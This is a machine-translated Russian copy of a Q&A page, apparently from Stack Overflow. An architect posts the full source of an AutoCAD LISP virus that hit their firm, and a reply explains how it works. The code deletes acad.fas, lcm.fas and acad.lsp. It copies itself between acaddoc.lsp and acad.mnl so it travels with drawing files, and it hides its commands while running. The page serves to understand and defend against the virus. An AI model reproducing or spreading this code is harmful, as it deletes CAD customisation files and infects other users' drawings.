Отладка, что делает этот Вирус LISP

Моя фирма была поражена вирусом AutoCAD, который удаляет и заменяет наш acaddoc.lsp со стандартной программой ниже.

Я - архитектор и не абсолютно уверенный, что это делает повторяющейся "находкой" и "удаляет".

Вопросы

  1. Что является этой заменой файлов с (в настоящее время поиск acadapq) ?
  2. Кто пишет вирус для AutoCAD?!?!

Кто-либо видел это прежде? форумы CAD не очень полезны.

(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq bb 2)
(setq dpath (getvar "dwgprefix"))
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.fas")
      (if (vl-file-delete (findfile "acad.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "lcm.fas")
      (if (vl-file-delete (findfile "lcm.fas"))
          (setq n 0))
      (setq n 2)))

(setq n 0)
(while (< n 1)
  (if (findfile "acad.lsp")
      (if (vl-file-delete (findfile "acad.lsp"))
          (setq n 0))
      (setq n 2)))

(defun wwriteapp ()
  (if (setq wwjm1 (open wnewacad "w"))
      (progn
        (setq wwjm (open woldacad "r"))
        (while (setq wwz (read-line wwjm))
          (write-line wwz wwjm1))
        (close wwjm)
        (close wwjm1))))

(setq lbz 0)
(setq wwjqm (strcat dpath "acaddoc.lsp"))
(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq ab (atoi (substr wz 4 1)))
      (close wwjm)
      (if (> ab bb)
          (setq lbz 1))))

(setq wwjqm (strcat wpath "acad.mnl"))

(if (setq wwjm (open wwjqm "r"))
    (progn
      (repeat 3 (read-line wwjm))
      (setq wz (read-line wwjm))
      (setq nb (atoi (substr wz 4 1)))
      (close wwjm)
      (if (< nb bb)
          (setq lbz 1)))
    (setq lbz 1))
(if (= lbz 1)
    (progn
      (setq woldacad (strcat dpath "acaddoc.lsp"))
      (setq wnewacad (strcat wpath "acad.mnl"))
      (wwriteapp)))
(if (and (/= (substr dpath 1 1) (chr 67))
         (/= (substr dpath 1 1) (chr 68))
         (/= (substr dpath 1 1) (chr 69))
         (/= (substr dpath 1 1) (chr 70)))
    (progn
      (setq woldacad (strcat wpath "acad.mnl"))
      (setq wnewacad (strcat dpath "acaddoc.lsp"))
      (wwriteapp))
    (vl-file-delete (strcat dpath "acaddoc.lsp")))
;load "acadapq")
(setvar "cmdecho" wold_cmd)
13
задан Svante 14 December 2009 в 20:21
поделиться

1 ответ

Он выполняет обход пути к файлам поддержки, удаление и замену общих файлов настройки AutoCAD. ("acad.fas", "acad.lsp", "acaddoc.lsp") Я не знаю, что такое lcm.fas. Является ли он частью вертикального продукта AutoCAD, то есть AutoCAD Mechanical или Architectural Desktop?

Цикл, по сути, «пока я продолжаю находить на пути поддержки, удалите его».

Насколько мне известно, AutoCAD не имеет встроенной защиты от этот. (Может быть какая-то системная переменная acad, которая останавливает выполнение этих файлов.)

Строки "cmdecho" сохраняют и восстанавливают системную переменную, которая разрешает / подавляет отображение команд. Выключает его во время работы (чтобы вы не заметили), затем восстанавливает исходную настройку.

Вежливый вирус: \

При запуске AutoCAD выполняет первый файл «acad.fas» и первый файл «acad.lsp», найденный на пути поддержки. Каждый раз, когда AutoCAD загружает новый файл .dwg, он выполняет файл acaddoc.lsp.

9
ответ дан 2 December 2019 в 01:21
поделиться
Другие вопросы по тегам:

Похожие вопросы: